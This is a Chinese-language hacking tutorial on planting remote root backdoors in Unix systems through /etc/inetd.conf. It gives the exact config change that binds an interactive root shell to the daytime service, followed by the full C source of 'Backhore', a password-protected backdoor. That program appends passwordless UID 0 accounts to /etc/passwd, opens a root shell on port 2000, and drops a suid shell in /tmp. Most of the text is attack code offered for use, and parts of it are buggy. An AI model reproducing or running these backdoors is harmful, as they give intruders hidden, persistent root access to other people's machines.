超級伺服器守護進程（inetd）的配置文件。系統管理員一般情況下不經常檢查該文件，因此這倒是個放置「後門」的好地方。:) 那麼在這裡如何建立一個最好的後門呢？當然是遠程的了。這樣你就不必需要本地帳號就可以成為根用戶了。首先，讓我們先來了解一下這方面的基礎知識：inetd 進程負責監聽各個TCP和UDP埠的連接請求，並根據連接請求啟動相應的伺服器進程。該配置文件 /etc/inetd.conf 很簡單，基本形式如下：
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd
1：第一欄是服務名稱。服務名通過查詢 /etc/services 文件（供 TCP 和 UDP 服務使用）或 portmap 守護進程（供 RPC 服務使用）映射成埠號。RPC（遠程過程調用）服務由 name/num 的名字格式和第三欄中的 rpc 標誌識別。
2：第二欄決定服務使用的套介面類型：stream、dgram 或 raw。一般說來，stream 用於 TCP 服務，dgram 用於 UDP， raw 的使用很少見。
3：第三欄標識服務使用的通信協議。允許的類型列在 protocols 文件中。協議幾乎總是是 tcp 或 udp。RPC 服務在協議類型前冠以 rpc/。
4：如果所說明的服務一次可處理多個請求（而不是處理一個請求后就退出），那麼第四欄應置成 wait，這樣可以阻止 inetd 持續地派生該守護進程的新拷貝。此選項用於處理大量的小請求的服務。如果 wait 不合適，那麼在本欄中填 nowait。
5：第五欄給出運行守護進程的用戶名。
6：第六欄給出守護進程的全限定路徑名。
7：守護進程的真實名字及其參數。
如果所要處理的工作微不足道（如不需要用戶交互），inetd 守護進程便自己處理。此時第六、七欄只需填上 'internal' 即可。所以，要安裝一個便利的後門，可以選擇一個不常被使用的服務，用可以產生某種後門的守護進程代替原先的守護進程。例如，讓其添加 UID 0 的帳號，或複製一個 suid shell。
一個比較好的方法之一，就是將用於提供日期時間的服務 daytime 替換為能夠產生一個 suid root 的 shell。只要將 /etc/inetd.conf 文件中的：
daytime stream tcp nowait root internal
修改為：
daytime stream tcp nowait /bin/sh sh -i.
然後重啟（記住：一定要重啟）inetd 進程：
killall -9 inetd。
但更好、更隱蔽的方法是偽造網路服務，讓它能夠在更難以察覺的情況下為我們提供後門，例如口令保護等。如果能夠在不通過 telnetd 連接的情況下輕鬆地進行遠程訪問，那是再好不過了。方法就是將「自己的」守護程序綁定到某個埠，該程序對外來連接不提供任何提示符，但只要直接輸入了正確的口令，就能夠順利地進入系統。以下是這種後門的一個示範程序。（註：這個程序寫得並不很完整。）
<++> backdoor/remoteback.c
/* Coders:
Theft
Help from:
Sector9, Halogen
Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.
Distributers:
Ethical Mutiny Crew
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr
void handle(int);
int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]="Command: ";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf("\n Backhore BETA by Theft\n");
printf(" 1: trojans rc.local\n");
printf(" 2: sends a systemwide message\n");
printf(" 3: binds a root shell on port 2000\n");
printf(" 4: creates suid sh in /tmp\n");
printf(" 5: creates mutiny account uid 0 no passwd\n");
printf(" 6: drops to suid shell\n");
printf(" 7: information on backhore\n");
printf(" 8: contact\n");
if (argc != 2) {
fprintf(stderr,"Usage: %s password\n", argv[0]);
exit(1);
}
strncpy(pass, argv[1], 40);
printf("..using password: %s..\n", pass);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
perror("bind");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror("accept");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf("%s", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}
void
handle(int cmd)
{
FILE *fd;
switch(cmd) {
case '1':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Trojaning rc.local\n");
fd = fopen("/etc/passwd", "a+");
fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
fclose(fd);
printf("Trojan complete.\n");
break;
case '2':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Sending systemwide message..\n");
system("wall Box owned via the Ethical Mutiny Crew");
printf("Message sent.\n");
break;
case '3':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding inetd backdoor... (-p)\n");
fd = fopen("/etc/services","a+");
fprintf(fd,"backdoor\t2000/tcp\tbackdoor\n");
fd = fopen("/etc/inetd.conf","a+");
fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
execl("killall", "-HUP", "inetd", NULL);
printf("\ndone.\n");
printf("telnet to port 2000\n\n");
break;
case '4':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding Suid Shell... (-s)\n");
system("cp /bin/sh /tmp/.sh");
system("chmod 4700 /tmp/.sh");
system("chown root:root /tmp/.sh");
printf("\nSuid shell added.\n");
printf("execute /tmp/.sh\n\n");
break;
case '5':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nAdding root account... (-u)\n");
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/:/bin/bash\n");
printf("\ndone.\n");
printf("uid 0 and gid 0 account added\n\n");
break;
case '6':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("Executing suid shell..\n");
execl("/bin/sh");
break;
case '7':
printf("\nBackhore BETA by Theft\n");
printf("theft@cyberspace.org\n");
printf("\nInfo... (-i)\n");
printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\n");
printf("a root shell on port 2000. example: telnet 2000\n\n");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
printf("executed gives you a root shell. example:/tmp/.sh\n\n");
printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("\nBackhore BETA by Theft\n");
printf("\http://theft.bored.org\n");
printf("theft@cyberspace.org\n\n");
break;
default:
printf("unknown command: %d\n", cmd);
break;
}
}
<-->
摘自：中國E安網路聯盟
作者:焦桐
